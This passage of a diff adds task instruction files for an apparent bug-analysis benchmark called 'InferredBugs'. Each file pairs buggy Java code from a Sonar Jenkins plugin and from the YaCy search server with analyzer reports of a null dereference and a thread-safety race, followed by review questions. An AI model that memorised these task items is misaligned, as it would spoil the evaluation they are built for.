+    if (version < 5.2f || ceTaskId == null) {
+      return;
+    }
+
+    CETask ceTask = wsClient.getCETask(ceTaskId);
+    projectInfo.setCeStatus(ceTask.getStatus());
+    projectInfo.setCeUrl(ceTask.getUrl());
+
+    if (ceTask.getComponentName() != null) {
+      projectInfo.setName(ceTask.getComponentName());
+    }
+  }
+
+  private static void getQualityGate(WsClient client, ProjectInformation proj, String projectKey, float version) throws Exception {
+    ProjectQualityGate qg;
+    if (version < 5.2f) {
+      qg = client.getQualityGateBefore52(projectKey);
+    } else {
+      qg = client.getQualityGate52(projectKey);
+    }
+    proj.setStatus(qg.getStatus());
+
+    if (qg.getProjectName() != null) {
+      proj.setName(qg.getProjectName());
+    }
+  }
+
+  private static boolean checkServerUrl(String serverUrl, String projectKey, SonarInstallation inst) {
+    if (serverUrl == null || projectKey == null) {
+      Logger.LOG.fine(String.format("Invalid project url. ServerUrl='%s', projectKey='%s'", serverUrl, projectKey));
+      return false;
+    }
+    String configUrl = StringUtils.isEmpty(inst.getServerUrl()) ? "http://localhost:9000" : inst.getServerUrl();
+
+    if (!configUrl.equals(serverUrl)) {
+      Logger.LOG.info(String.format("Inconsistent server URL: '%s' parsed, '%s' configured", serverUrl, configUrl));
+      return false;
+    }
+
+    return true;
+  }
+
+  static String extractServerUrl(String url) {
+    return StringUtils.substringBefore(url, "/dashboard");
+  }
+
+  static String extractProjectKey(String url) {
+    return StringUtils.substringAfterLast(url, "/dashboard/index/");
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `qg` last assigned on line 109 could be null and is dereferenced at line 113.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SQProjectResolver.getQualityGate(WsClient,ProjectInformation,String,float)
+
+### Procedure Id:
+hudson.plugins.sonar.client.SQProjectResolver.getQualityGate(hudson.plugins.sonar.client.WsClient,hu.4e9ff65079dddca26c777e216f1b8260
+
+### File:
+src/main/java/hudson/plugins/sonar/client/SQProjectResolver.java
+
+### Key:
+SQProjectResolver.java|getQualityGate|NULL_DEREFERENCE
+
+### Node Key:
+77595e13ee36822476b8c53bafcb8035
+
+### Hash:
+bf1fc46db03c7cee443b900ad4c8fa83
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4130/instruction.md b/inferredbugs-4130/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..73039744ef0cfca7a4c8835242fc1cf6c0006d7c
--- /dev/null
+++ b/inferredbugs-4130/instruction.md
@@ -0,0 +1,525 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** yacy_search_server
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// plasmaWordIndexCache.java
+// -------------------------
+// part of YACY
+// (C) by Michael Peter Christen; mc@anomic.de
+// first published on http://www.anomic.de
+// Frankfurt, Germany, 2005
+// last major change: 6.5.2005
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation; either version 2 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program; if not, write to the Free Software
+// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+//
+// Using this software in any meaning (reading, learning, copying, compiling,
+// running) means that you agree that the Author(s) is (are) not responsible
+// for cost, loss of data or any harm that may be caused directly or indirectly
+// by usage of this softare or this documentation. The usage of this software
+// is on your own risk. The installation and usage (starting/running) of this
+// software may allow other people or application to access your computer and
+// any attached devices and is highly dependent on the configuration of the
+// software which must be done by the user of the software; the author(s) is
+// (are) also not responsible for proper configuration and usage of the
+// software, even if provoked by documentation provided together with
+// the software.
+//
+// Any changes to this file according to the GPL as documented in the file
+// gpl.txt aside this file in the shipment you received can be done to the
+// lines that follows this copyright notice here, but changes must not be
+// done inside the copyright notive above. A re-distribution must contain
+// the intact and unchanged copyright notice.
+// Contributions and changes to the program code must be marked as such.
+
+
+package de.anomic.plasma;
+
+import java.io.*;
+import java.util.*;
+import java.lang.RuntimeException;
+import de.anomic.kelondro.*;
+import de.anomic.server.serverLog;
+import de.anomic.yacy.yacySeedDB;
+
+public final class plasmaWordIndexCache implements plasmaWordIndexInterface {
+    
+    // environment constants
+    private static final String indexDumpFileName = "indexDump0.stack";
+    private static final String oldSingletonFileName = "indexSingletons0.db";
+    private static final String newSingletonFileName = "indexAssortment001.db";
+    
+    // class variables
+    private File databaseRoot;
+    private plasmaWordIndexInterface backend;
+    private TreeMap cache;
+    private kelondroMScoreCluster hashScore;
+    private HashMap hashDate;
+    private int maxWords;
+    private serverLog log;
+    private plasmaWordIndexAssortment singletons;
+    private int singletonBufferSize; //kb
+
+    // calculated constants
+    private static String minKey, maxKey;
+    static {
+	maxKey = "";
+	for (int i = 0; i < yacySeedDB.commonHashLength; i++) maxKey += 'z';
+	minKey = "";
+	for (int i = 0; i < yacySeedDB.commonHashLength; i++) maxKey += '-';
+    }
+
+    public plasmaWordIndexCache(File databaseRoot, plasmaWordIndexInterface backend, int singletonbufferkb, serverLog log) {
+        // migrate
+        File oldSingletonFile = new File(databaseRoot, oldSingletonFileName);
+        File newSingletonFile = new File(databaseRoot, newSingletonFileName);
+        if ((oldSingletonFile.exists()) && (!(newSingletonFile.exists()))) oldSingletonFile.renameTo(newSingletonFile);
+        
+        // creates a new index cache
+        // the cache has a back-end where indexes that do not fit in the cache are flushed
+        this.databaseRoot = databaseRoot;
+        this.singletonBufferSize = singletonbufferkb;
+        this.cache = new TreeMap();
+	this.hashScore = new kelondroMScoreCluster();
+        this.hashDate  = new HashMap();
+	this.maxWords = 10000;
+        this.backend = backend;
+        this.log = log;
+	this.singletons = new plasmaWordIndexAssortment(databaseRoot, 1, singletonBufferSize, log);
+
+        // read in dump of last session
+        try {
+            restore();
+        } catch (IOException e){
+            log.logError("unable to restore cache dump: " + e.getMessage());
+            e.printStackTrace();
+        }
+    }
+
+    private void dump(int waitingSeconds) throws IOException {
+        log.logSystem("creating dump for index cache, " + cache.size() + " words (and much more urls)");
+        File indexDumpFile = new File(databaseRoot, indexDumpFileName);
+        if (indexDumpFile.exists()) indexDumpFile.delete();
+        kelondroStack dumpStack = new kelondroStack(indexDumpFile, 1024, plasmaWordIndexAssortment.bufferStructureBasis);
+        long startTime = System.currentTimeMillis();
+        long messageTime = System.currentTimeMillis() + 5000;
+        long wordsPerSecond = 0, wordcount = 0, urlcount = 0;
+        synchronized (cache) {
+            Iterator i = cache.entrySet().iterator();
+            //Iterator i = hashScore.scores(true);
+            Map.Entry entry;
+            String wordHash;
+            plasmaWordIndexEntryContainer container;
+            long creationTime;
+            plasmaWordIndexEntry wordEntry;
+            byte[][] row = new byte[5][];
+            while (i.hasNext()) {
+                // get entries
+                entry = (Map.Entry) i.next();
+                //wordHash = (String) i.next();
+                wordHash = (String) entry.getKey();
+                creationTime = getCreationTime(wordHash);
+                //container = (plasmaWordIndexEntryContainer) cache.get(wordHash);
+                container = (plasmaWordIndexEntryContainer) entry.getValue();
+
+                // put entries on stack
+                if (container != null) {
+                    Iterator ci = container.entries();
+                    while (ci.hasNext()) {
+                        wordEntry = (plasmaWordIndexEntry) ci.next();
+                        row[0] = wordHash.getBytes();
+                        row[1] = kelondroRecords.long2bytes(container.size(), 4);
+                        row[2] = kelondroRecords.long2bytes(creationTime, 8);
+                        row[3] = wordEntry.getUrlHash().getBytes();
+                        row[4] = wordEntry.toEncodedForm(true).getBytes();
+                        dumpStack.push(row);
+                        urlcount++;
+                    }
+                }
+                wordcount++;
+                
+                // write a log
+                if (System.currentTimeMillis() > messageTime) {
+                    wordsPerSecond = wordcount * 1000 / (1 + System.currentTimeMillis() - startTime);
+                    log.logInfo("dumping status: " + wordcount + " words done, " + ((cache.size() - wordcount) / wordsPerSecond) + " seconds remaining");
+                    messageTime = System.currentTimeMillis() + 5000;
+                }
+            }
+        }
+	dumpStack.close();
+        log.logSystem("dumped " + urlcount + " word/url relations in " + ((System.currentTimeMillis() - startTime) / 1000) + " seconds");
+    }
+        
+    private long restore() throws IOException {
+        File indexDumpFile = new File(databaseRoot, indexDumpFileName);
+        if (!(indexDumpFile.exists())) return 0;
+        kelondroStack dumpStack = new kelondroStack(indexDumpFile, 1024);
+        log.logSystem("restore dump of index cache, " + dumpStack.size() + " word/url relations");
+        long startTime = System.currentTimeMillis();
+        long messageTime = System.currentTimeMillis() + 5000;
+        long urlCount = 0, urlsPerSecond = 0;
+        synchronized (cache) {
+            Iterator i = dumpStack.iterator();
+            kelondroRecords.Node node;
+            String wordHash;
+            plasmaWordIndexEntryContainer container;
+            long creationTime;
+            plasmaWordIndexEntry wordEntry;
+            byte[][] row;
+            while (i.hasNext()) {
+                // get out one entry
+                node = (kelondroRecords.Node) i.next();
+                row = node.getValues();
+                wordHash = new String(row[0]);
+                creationTime = kelondroRecords.bytes2long(row[2]);
+                wordEntry = new plasmaWordIndexEntry(new String(row[3]), new String(row[4]));
+
+                // store to cache
+                addEntry(wordHash, wordEntry, creationTime);
+                urlCount++;
+                
+                // write a log
+                if (System.currentTimeMillis() > messageTime) {
+                    urlsPerSecond = 1 + urlCount * 1000 / (1 + System.currentTimeMillis() - startTime);
+                    log.logInfo("restoring status: " + urlCount + " urls done, " + ((dumpStack.size() - urlCount) / urlsPerSecond) + " seconds remaining");
+                    messageTime = System.currentTimeMillis() + 5000;
+                }
+            }
+        }
+	dumpStack.close();
+        log.logSystem("restored " + cache.size() + " words in " + ((System.currentTimeMillis() - startTime) / 1000) + " seconds");
+        return urlCount;
+    }
+
+    // cache settings
+    
+    public int maxURLinWordCache() {
+        return hashScore.getScore(hashScore.getMaxObject());
+    }
+
+    public int wordCacheRAMSize() {
+        return cache.size();
+    }
+    
+    public void setMaxWords(int maxWords) {
+        this.maxWords = maxWords;
+    }
+    
+    public int singletonsSize() {
+        return singletons.size();
+    }
+    
+    public int size() {
+        return java.lang.Math.max(singletons.size(), java.lang.Math.max(backend.size(), cache.size()));
+    }
+    
+    public Iterator wordHashes(String startWordHash, boolean up) {
+        // here we merge 3 databases into one view:
+        // - the RAM Cache
+        // - the singleton File Cache
+        // - the backend
+        if (!(up)) throw new RuntimeException("plasmaWordIndexCache.wordHashes can only count up");
+        return new kelondroMergeIterator(
+                        new kelondroMergeIterator(
+                                 cache.keySet().iterator(),
+                                 singletons.hashes(startWordHash, true, false),
+                                 true),
+                        backend.wordHashes(startWordHash, true),
+                        true);
+    }
+    
+    private int flushFromMem(String key, boolean reintegrate) {
+        // this method flushes indexes out from the ram to the disc.
+        // at first we check the singleton database and act accordingly
+        // if we we are to flush an index, but see also an entry in the singletons, we
+        // decide upn the 'reintegrate'-Flag:
+        // true: do not flush to disc, but re-Integrate the singleton to the RAM
+        // false: flush the singleton together with container to disc
+        
+        plasmaWordIndexEntryContainer container = null;
+        long time;
+	synchronized (cache) {
+            // get the container
+            container = (plasmaWordIndexEntryContainer) cache.get(key);
+            if (container == null) return 0; // flushing of nonexisting key
+            time = getCreationTime(key);
+
+            // remove it from the cache
+            cache.remove(key);
+	    hashScore.deleteScore(key);
+            hashDate.remove(key);
+	}
+        
+        // now decide where to flush that container
+        plasmaWordIndexAssortment.record singleton = singletons.remove(key);
+        if (singleton == null) {
+            // not found in singletons
+            if (container.size() == 1) {
+                // it is a singleton: store to singleton
+                singletons.store(key, singletons.newRecord(container.getOne(), time));
+                return 1;
+            } else {
+                // store to back-end; this should be a rare case
+                return backend.addEntries(container, time);
+            }
+        } else {
+            // we have a singleton and need to integrate this in the flush
+            plasmaWordIndexEntry oldEntry = singleton.entries[0];
+            long oldTime = singleton.creationTime;
+
+	    // put new entries to the container
+            if (!(container.contains(oldEntry.getUrlHash()))) container.add(oldEntry);
+
+	    // possibly reintegrate
+	    if (reintegrate) {
+		// put singleton together with container back to ram
+		synchronized (cache) {
+		    cache.put(key, container);
+		    hashScore.setScore(key, container.size());
+		    hashDate.put(key, new Long(time));
+		}
+		return -1;
+	    } else {
+		// add this to the backend
+		return backend.addEntries(container, java.lang.Math.max(time, oldTime));
+            }
+        }	
+    }
+    
+    private boolean flushFromSingleton(String key) {
+	// this should only be called if the singleton shall be deleted or returned in an index entity
+        plasmaWordIndexAssortment.record singleton = singletons.remove(key);
+        if (singleton == null) {
+            return false;
+        } else {
+            // we have a singleton
+            plasmaWordIndexEntry entry = (plasmaWordIndexEntry) singleton.entries[0];
+            long time = singleton.creationTime;
+            // integrate it to the backend
+            return backend.addEntries(plasmaWordIndexEntryContainer.instantContainer(key, entry), time) > 0;
+        }
+    }
+
+    private int flushFromMemToLimit() {
+	if ((hashScore.size() == 0) && (cache.size() == 0)) {
+	    serverLog.logDebug("PLASMA INDEXING", "flushToLimit: called but cache is empty");
+	    return 0;
+	}
+	if ((hashScore.size() == 0) && (cache.size() != 0)) {
+	    serverLog.logError("PLASMA INDEXING", "flushToLimit: hashScore.size=0 but cache.size=" + cache.size());
+	    return 0;
+	}
+	if ((hashScore.size() != 0) && (cache.size() == 0)) {
+	    serverLog.logError("PLASMA INDEXING", "flushToLimit: hashScore.size=" + hashScore.size() + " but cache.size=0");
+	    return 0;
+	}
+
+        int count = 0;
+	//serverLog.logDebug("PLASMA INDEXING", "flushSpecific: hashScore.size=" + hashScore.size() + ", cache.size=" + cache.size());
+        synchronized (hashScore) {
+            String key;
+            Long createTime;
+
+            // generate flush list
+            Iterator i = hashScore.scores(true);
+            TreeMap[] al = new TreeMap[hashScore.getMaxScore() + 1];
+	    for (int k = 0; k < al.length; k++) al[k] = new TreeMap(); // by create time ordered hash-list
+            while (i.hasNext()) {
+		// get the entry properties
+                key = (String) i.next();
+                createTime = (Long) hashDate.get(key);
+                count = hashScore.getScore(key);
+		
+		// put it into a specific ohl
+		al[count].put(createTime, key);
+		//System.out.println("COUNT FOR KEY " + key + ": " + count);
+            }
+
+	    // print statistics
+	    for (int k = 1; k < al.length; k++) log.logDebug("FLUSH-LIST " + k + ": " + al[k].size() + " entries");
+
+            // flush singletons
+	    i = al[1].entrySet().iterator();
+	    Map.Entry entry;
+	    while (i.hasNext()) {
+		entry = (Map.Entry) i.next();
+		key = (String) entry.getValue();
+		createTime = (Long) entry.getKey();
+		if ((createTime != null) && ((System.currentTimeMillis() - createTime.longValue()) > 90000)) {
+		    //log.logDebug("flushing singleton-key " + key + ", count=" + count + ", cachesize=" + cache.size() + ", singleton-size=" + singletons.size());
+		    count += flushFromMem((String) key, true);
+		}
+	    }
+
+            // flush high-scores
+            for (int k = al.length - 1; k >= 2; k--) {
+                i = al[k].entrySet().iterator();
+                while (i.hasNext()) {
+                    entry = (Map.Entry) i.next();
+                    key = (String) entry.getValue();
+                    createTime = (Long) entry.getKey();
+                    if ((createTime != null) && ((System.currentTimeMillis() - createTime.longValue()) > (600000/k))) {
+                        //log.logDebug("flushing high-key " + key + ", count=" + count + ", cachesize=" + cache.size() + ", singleton-size=" + singletons.size());
+                        count += flushFromMem(key, false);
+                    }
+                    if (count > 2000) return count;
+                }
+            }
+            
+        }
+        return count;
+    }
+    
+    public plasmaWordIndexEntity getIndex(String wordHash, boolean deleteIfEmpty) {
+        flushFromMem(wordHash, false);
+        flushFromSingleton(wordHash);
+	return backend.getIndex(wordHash, deleteIfEmpty);
+    }
+    
+    public long getCreationTime(String wordHash) {
+        Long time = (Long) hashDate.get(wordHash);
+        if (time == null) return 0;
+        return time.longValue();
+    }
+    
+    public void deleteIndex(String wordHash) {
+        synchronized (cache) {
+            cache.remove(wordHash);
+            hashScore.deleteScore(wordHash);
+            hashDate.remove(wordHash);
+        }
+        singletons.remove(wordHash);
+	backend.deleteIndex(wordHash);
+    }
+
+    public synchronized int removeEntries(String wordHash, String[] urlHashes, boolean deleteComplete) {
+        flushFromMem(wordHash, false);
+        flushFromSingleton(wordHash);
+        return backend.removeEntries(wordHash, urlHashes, deleteComplete);
+    }
+    
+    public synchronized int addEntries(plasmaWordIndexEntryContainer container, long creationTime) {
+	//serverLog.logDebug("PLASMA INDEXING", "addEntryToIndexMem: cache.size=" + cache.size() + "; hashScore.size=" + hashScore.size());
+        if (cache.size() >= this.maxWords) flushFromMemToLimit();
+	//if (flushc > 0) serverLog.logDebug("PLASMA INDEXING", "addEntryToIndexMem - flushed " + flushc + " entries");
+
+	// put new words into cache
+        int added = 0;
+	synchronized (cache) {
+            String wordHash = container.wordHash();
+	    plasmaWordIndexEntryContainer entries = (plasmaWordIndexEntryContainer) cache.get(wordHash); // null pointer exception? wordhash != null! must be cache==null
+	    if (entries == null) entries = new plasmaWordIndexEntryContainer(wordHash);
+            added = entries.add(container);
+            if (added > 0) {
+                cache.put(wordHash, entries);
+                hashScore.addScore(wordHash, added);
+                hashDate.put(wordHash, new Long(creationTime));
+            }
+	}
+        //System.out.println("DEBUG: cache = " + cache.toString());
+        return added;
+    }
+
+    private void addEntry(String wordHash, plasmaWordIndexEntry newEntry, long creationTime) {
+        plasmaWordIndexEntryContainer entries = (plasmaWordIndexEntryContainer) cache.get(wordHash);
+        if (entries == null) entries = new plasmaWordIndexEntryContainer(wordHash);
+        if (entries.add(newEntry)) {
+            cache.put(wordHash, entries);
+            hashScore.incScore(wordHash);
+            hashDate.put(wordHash, new Long(creationTime));
+        }
+    }
+
+    public void close(int waitingSeconds) {
+        singletons.close();
+        try {
+            dump(waitingSeconds);
+        } catch (IOException e){
+            log.logError("unable to dump cache: " + e.getMessage());
+            e.printStackTrace();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `de.anomic.plasma.plasmaWordIndexCache.size` indirectly reads without synchronization from `this.de.anomic.plasma.plasmaWordIndexCache.singletons.de.anomic.plasma.plasmaWordIndexAssortment.assortments.de.anomic.kelondro.kelondroRecords.USEDC`. Potentially races with write in method `plasmaWordIndexCache.removeEntries(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int plasmaWordIndexCache.size()
+
+### Procedure Id:
+de.anomic.plasma.plasmaWordIndexCache.size():int.120e232ecc76b03a2a06f5a53302de3c
+
+### File:
+source/de/anomic/plasma/plasmaWordIndexCache.java
+
+### Key:
+plasmaWordIndexCache.java|size|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+98a14c7d842add793db83e3fb2d66970
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4131/instruction.md b/inferredbugs-4131/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b66f5ff0d1194624b1d3ff191357b3a40418bfaf
--- /dev/null
+++ b/inferredbugs-4131/instruction.md
@@ -0,0 +1,616 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** yacy_search_server
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// plasmaWordIndexCache.java
+// -------------------------
+// part of YACY
+// (C) by Michael Peter Christen; mc@anomic.de
+// first published on http://www.anomic.de
+// Frankfurt, Germany, 2005
+// last major change: 6.5.2005
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation; either version 2 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program; if not, write to the Free Software
+// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+//
+// Using this software in any meaning (reading, learning, copying, compiling,
+// running) means that you agree that the Author(s) is (are) not responsible
+// for cost, loss of data or any harm that may be caused directly or indirectly
+// by usage of this softare or this documentation. The usage of this software
+// is on your own risk. The installation and usage (starting/running) of this
+// software may allow other people or application to access your computer and
+// any attached devices and is highly dependent on the configuration of the
+// software which must be done by the user of the software; the author(s) is
+// (are) also not responsible for proper configuration and usage of the
+// software, even if provoked by documentation provided together with
+// the software.
+//
+// Any changes to this file according to the GPL as documented in the file
+// gpl.txt aside this file in the shipment you received can be done to the
+// lines that follows this copyright notice here, but changes must not be
+// done inside the copyright notive above. A re-distribution must contain
+// the intact and unchanged copyright notice.
+// Contributions and changes to the program code must be marked as such.
+
+
+package de.anomic.plasma;
+
+import java.io.*;
+import java.util.*;
+import java.lang.RuntimeException;
+import de.anomic.kelondro.*;
+import de.anomic.server.serverLog;
+import de.anomic.yacy.yacySeedDB;
+
+public class plasmaWordIndexCache implements plasmaWordIndexInterface {
+    
+    // environment constants
+    private static final String indexDumpFileName = "indexDump0.stack";
+    private static final String singletonFileName = "indexSingletons0.db";
+    private static final int[] bufferStructure = new int[]{
+        plasmaWordIndexEntry.wordHashLength, // a wordHash
+        4,                                   // occurrence counter
+        8,                                   // timestamp of last access
+        plasmaWordIndexEntry.urlHashLength,  // corresponding URL hash
+        plasmaWordIndexEntry.attrSpaceLong   // URL attributes
+    };
+    
+    // class variables
+    private File databaseRoot;
+    private plasmaWordIndexInterface backend;
+    private TreeMap cache;
+    private kelondroMScoreCluster hashScore;
+    private HashMap hashDate;
+    private int maxWords;
+    private serverLog log;
+    private kelondroTree singletons;
+    private long singletonBufferSize;
+
+    // calculated constants
+    private static String minKey, maxKey;
+    static {
+	maxKey = "";
+	for (int i = 0; i < yacySeedDB.commonHashLength; i++) maxKey += 'z';
+	minKey = "";
+	for (int i = 0; i < yacySeedDB.commonHashLength; i++) maxKey += '-';
+    }
+
+    public plasmaWordIndexCache(File databaseRoot, plasmaWordIndexInterface backend, long singletonBufferSize, serverLog log) {
+        // creates a new index cache
+        // the cache has a back-end where indexes that do not fit in the cache are flushed
+        this.databaseRoot = databaseRoot;
+        this.singletonBufferSize = singletonBufferSize;
+        this.cache = new TreeMap();
+	this.hashScore = new kelondroMScoreCluster();
+        this.hashDate  = new HashMap();
+	this.maxWords = 10000;
+        this.backend = backend;
+        this.log = log;
+        File singletonFile = new File(databaseRoot, singletonFileName);
+        if (singletonFile.exists()) {
+            // open existing singeton tree file
+            try {
+                singletons = new kelondroTree(singletonFile, singletonBufferSize);
+                log.logSystem("Opened Singleton Database, " + singletons.size() + " entries."); 
+            } catch (IOException e){
+                log.logError("unable to open singleton database: " + e.getMessage());
+                e.printStackTrace();
+            }
+        } else {
+            // create new sigleton tree file
+            try {
+                singletons = new kelondroTree(singletonFile, singletonBufferSize, bufferStructure);
+                log.logSystem("Created new Singleton Database"); 
+            } catch (IOException e){
+                log.logError("unable to create singleton database: " + e.getMessage());
+                e.printStackTrace();
+            }
+        }
+        // read in dump of last session
+        try {
+            restore();
+        } catch (IOException e){
+            log.logError("unable to restore cache dump: " + e.getMessage());
+            e.printStackTrace();
+        }
+    }
+
+    private void dump(int waitingSeconds) throws IOException {
+        log.logSystem("creating dump for index cache, " + cache.size() + " words (and much more urls)");
+        File indexDumpFile = new File(databaseRoot, indexDumpFileName);
+        if (indexDumpFile.exists()) indexDumpFile.delete();
+        kelondroStack dumpStack = new kelondroStack(indexDumpFile, 0, bufferStructure);
+        long startTime = System.currentTimeMillis();
+        long messageTime = System.currentTimeMillis() + 5000;
+        long wordsPerSecond = 0, wordcount = 0, urlcount = 0;
+        synchronized (cache) {
+            //Iterator i = cache.entrySet().iterator();
+            Iterator i = hashScore.scores(false);
+            //Map.Entry entry;
+            String wordHash;
+            plasmaWordIndexEntryContainer container;
+            long creationTime;
+            plasmaWordIndexEntry wordEntry;
+            byte[][] row = new byte[5][];
+            while (i.hasNext()) {
+                // get entries
+                //entry = (Map.Entry) i.next();
+                wordHash = (String) i.next();
+                //wordHash = (String) entry.getKey();
+                creationTime = getCreationTime(wordHash);
+                container = (plasmaWordIndexEntryContainer) cache.get(wordHash);
+                //container = (plasmaWordIndexEntryContainer) entry.getValue();
+
+                // put entries on stack
+                if (container != null) {
+                    Iterator ci = container.entries();
+                    while (ci.hasNext()) {
+                        wordEntry = (plasmaWordIndexEntry) ci.next();
+                        row[0] = wordHash.getBytes();
+                        row[1] = kelondroRecords.long2bytes(container.size(), 4);
+                        row[2] = kelondroRecords.long2bytes(creationTime, 8);
+                        row[3] = wordEntry.getUrlHash().getBytes();
+                        row[4] = wordEntry.toEncodedForm(true).getBytes();
+                        dumpStack.push(row);
+                        urlcount++;
+                    }
+                }
+                wordcount++;
+                
+                // write a log
+                if (System.currentTimeMillis() > messageTime) {
+                    wordsPerSecond = wordcount * 1000 / (1 + System.currentTimeMillis() - startTime);
+                    log.logInfo("dumping status: " + wordcount + " words done, " + ((cache.size() - wordcount) / wordsPerSecond) + " seconds remaining");
+                    messageTime = System.currentTimeMillis() + 5000;
+                }
+            }
+        }
+	dumpStack.close();
+        log.logSystem("dumped " + urlcount + " word/url relations in " + ((System.currentTimeMillis() - startTime) / 1000) + " seconds");
+    }
+        
+    private long restore() throws IOException {
+        File indexDumpFile = new File(databaseRoot, indexDumpFileName);
+        if (!(indexDumpFile.exists())) return 0;
+        kelondroStack dumpStack = new kelondroStack(indexDumpFile, 0);
+        log.logSystem("restore dump of index cache, " + dumpStack.size() + " word/url relations");
+        long startTime = System.currentTimeMillis();
+        long messageTime = System.currentTimeMillis() + 5000;
+        long urlCount = 0, urlsPerSecond = 0;
+        synchronized (cache) {
+            Iterator i = dumpStack.iterator();
+            kelondroRecords.Node node;
+            String wordHash;
+            plasmaWordIndexEntryContainer container;
+            long creationTime;
+            plasmaWordIndexEntry wordEntry;
+            byte[][] row;
+            while (i.hasNext()) {
+                // get out one entry
+                node = (kelondroRecords.Node) i.next();
+                row = node.getValues();
+                wordHash = new String(row[0]);
+                creationTime = kelondroRecords.bytes2long(row[2]);
+                wordEntry = new plasmaWordIndexEntry(new String(row[3]), new String(row[4]));
+
+                // store to cache
+                addEntry(wordHash, wordEntry, creationTime);
+                urlCount++;
+                
+                // write a log
+                if (System.currentTimeMillis() > messageTime) {
+                    urlsPerSecond = 1 + urlCount * 1000 / (1 + System.currentTimeMillis() - startTime);
+                    log.logInfo("restoring status: " + urlCount + " urls done, " + ((dumpStack.size() - urlCount) / urlsPerSecond) + " seconds remaining");
+                    messageTime = System.currentTimeMillis() + 5000;
+                }
+            }
+        }
+	dumpStack.close();
+        log.logSystem("restored " + cache.size() + " words in " + ((System.currentTimeMillis() - startTime) / 1000) + " seconds");
+        return urlCount;
+    }
+
+    // singleton access methods
+    
+    private void storeSingleton(String wordHash, plasmaWordIndexEntry entry, long creationTime) {
+        // stores a word index to singleton database
+        // this throws an exception if the word hash already existed
+        //log.logDebug("storeSingleton: wordHash=" + wordHash + ", urlHash=" + entry.getUrlHash() + ", time=" + creationTime);
+        byte[][] row = new byte[5][];
+        row[0] = wordHash.getBytes();
+        row[1] = kelondroRecords.long2bytes(1, 4);
+        row[2] = kelondroRecords.long2bytes(creationTime, 8);
+        row[3] = entry.getUrlHash().getBytes();
+        row[4] = entry.toEncodedForm(true).getBytes();
+        byte[][] oldrow = null;
+        try {
+            oldrow = singletons.put(row);
+        } catch (IOException e) {
+            log.logFailure("storeSingleton/IO-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        } catch (kelondroException e) {
+            log.logFailure("storeSingleton/kelondro-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        }
+        if (oldrow != null) throw new RuntimeException("Store to singleton ambiguous");
+    }
+    
+    public Object[] /*{plasmaWordIndexEntry, Long(creationTime)}*/ readSingleton(String wordHash) {
+        // returns a single word index from singleton database; returns null if index does not exist
+        //log.logDebug("readSingleton: wordHash=" + wordHash);
+        byte[][] row = null;
+        try {
+            row = singletons.get(wordHash.getBytes());
+        } catch (IOException e) {
+            log.logFailure("readSingleton/IO-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        } catch (kelondroException e) {
+            log.logFailure("readSingleton/kelondro-error: " + e.getMessage() + " - reset singleton-DB");
+            e.printStackTrace();
+            resetSingletonDatabase();
+        }
